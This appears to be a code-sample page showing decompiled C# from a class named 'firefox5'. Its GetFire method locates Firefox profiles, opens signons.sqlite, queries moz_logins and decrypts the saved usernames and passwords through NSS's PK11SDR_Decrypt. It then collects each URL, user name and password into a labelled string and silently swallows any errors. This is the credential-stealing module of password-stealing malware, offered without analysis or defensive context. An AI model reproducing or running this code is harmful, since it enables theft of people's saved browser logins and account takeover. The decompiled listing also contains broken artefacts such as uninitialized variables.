Beispiel #1
0
        // Token: 0x06000052 RID: 82 RVA: 0x00004698 File Offset: 0x00002898
        public static int PK11SDR_Decrypt(ref firefox5.TSECItem data, ref firefox5.TSECItem result, int cx)
        {
            IntPtr procAddress = firefox5.GetProcAddress(firefox5.NSS3, "PK11SDR_Decrypt");

            firefox5.DLLFunctionDelegate5 dllfunctionDelegate = (firefox5.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(firefox5.DLLFunctionDelegate5));
            return(dllfunctionDelegate(ref data, ref result, cx));
        }
Beispiel #2
0
 // Token: 0x0600004B RID: 75 RVA: 0x00003F68 File Offset: 0x00002168
 public static string GetFire()
 {
     checked
     {
         try
         {
             bool     flag        = false;
             string   text        = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
             string   path        = Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles";
             string[] directories = Directory.GetDirectories(path);
             foreach (string text2 in directories)
             {
                 bool flag2 = !flag;
                 if (!flag2)
                 {
                     break;
                 }
                 string[] files = Directory.GetFiles(text2);
                 foreach (string input in files)
                 {
                     flag2 = !flag;
                     if (!flag2)
                     {
                         break;
                     }
                     bool flag3 = Regex.IsMatch(input, "signons.sqlite");
                     if (flag3)
                     {
                         firefox5.NSS_Init(text2);
                         firefox5.signon = input;
                     }
                 }
             }
             string               baseName   = firefox5.signon;
             firefox5.TSECItem    tsecitem   = default(firefox5.TSECItem);
             firefox5.TSECItem    tsecitem2  = default(firefox5.TSECItem);
             firefox5.TSECItem    tsecitem3  = default(firefox5.TSECItem);
             firefox5.SQLiteBase5 sqliteBase = new firefox5.SQLiteBase5(baseName);
             DataTable            dataTable  = sqliteBase.ExecuteQuery("SELECT * FROM moz_logins;");
             DataTable            dataTable2 = sqliteBase.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
             try
             {
                 foreach (object obj in dataTable2.Rows)
                 {
                     DataRow dataRow = (DataRow)obj;
                 }
             }
             finally
             {
                 IEnumerator enumerator;
                 bool        flag3 = enumerator is IDisposable;
                 if (flag3)
                 {
                     (enumerator as IDisposable).Dispose();
                 }
             }
             long slot = firefox5.PK11_GetInternalKeySlot();
             firefox5.PK11_Authenticate(slot, true, 0L);
             try
             {
                 foreach (object obj2 in dataTable.Rows)
                 {
                     DataRow           dataRow2      = (DataRow)obj2;
                     string            text3         = Convert.ToString(dataRow2["formSubmitURL"].ToString());
                     string            text4         = text3;
                     string            text5         = "";
                     string            text6         = "";
                     StringBuilder     stringBuilder = new StringBuilder(dataRow2["encryptedUsername"].ToString());
                     int               value         = firefox5.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length);
                     IntPtr            intPtr        = new IntPtr(value);
                     firefox5.TSECItem tsecitem4     = (firefox5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(firefox5.TSECItem));
                     bool              flag3         = firefox5.PK11SDR_Decrypt(ref tsecitem4, ref tsecitem2, 0) == 0;
                     if (flag3)
                     {
                         bool flag2 = tsecitem2.SECItemLen != 0;
                         if (flag2)
                         {
                             byte[] array3 = new byte[tsecitem2.SECItemLen - 1 + 1];
                             intPtr = new IntPtr(tsecitem2.SECItemData);
                             Marshal.Copy(intPtr, array3, 0, tsecitem2.SECItemLen);
                             text5 = Encoding.UTF8.GetString(array3);
                         }
                     }
                     StringBuilder stringBuilder2 = new StringBuilder(dataRow2["encryptedPassword"].ToString());
                     int           value2         = firefox5.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length);
                     intPtr = new IntPtr(value2);
                     firefox5.TSECItem tsecitem5 = (firefox5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(firefox5.TSECItem));
                     flag3 = (firefox5.PK11SDR_Decrypt(ref tsecitem5, ref tsecitem3, 0) == 0);
                     if (flag3)
                     {
                         bool flag2 = tsecitem3.SECItemLen != 0;
                         if (flag2)
                         {
                             byte[] array3 = new byte[tsecitem3.SECItemLen - 1 + 1];
                             intPtr = new IntPtr(tsecitem3.SECItemData);
                             Marshal.Copy(intPtr, array3, 0, tsecitem3.SECItemLen);
                             text6 = Encoding.UTF8.GetString(array3);
                         }
                     }
                     p.OL = string.Concat(new string[]
                     {
                         p.OL,
                         "|URL| ",
                         text4,
                         "\r\n|USR| ",
                         text5,
                         "\r\n|PWD| ",
                         text6,
                         "\r\n"
                     });
                 }
             }
             finally
             {
                 IEnumerator enumerator2;
                 bool        flag3 = enumerator2 is IDisposable;
                 if (flag3)
                 {
                     (enumerator2 as IDisposable).Dispose();
                 }
             }
         }
         catch (Exception ex)
         {
         }
         string result;
         return(result);
     }
 }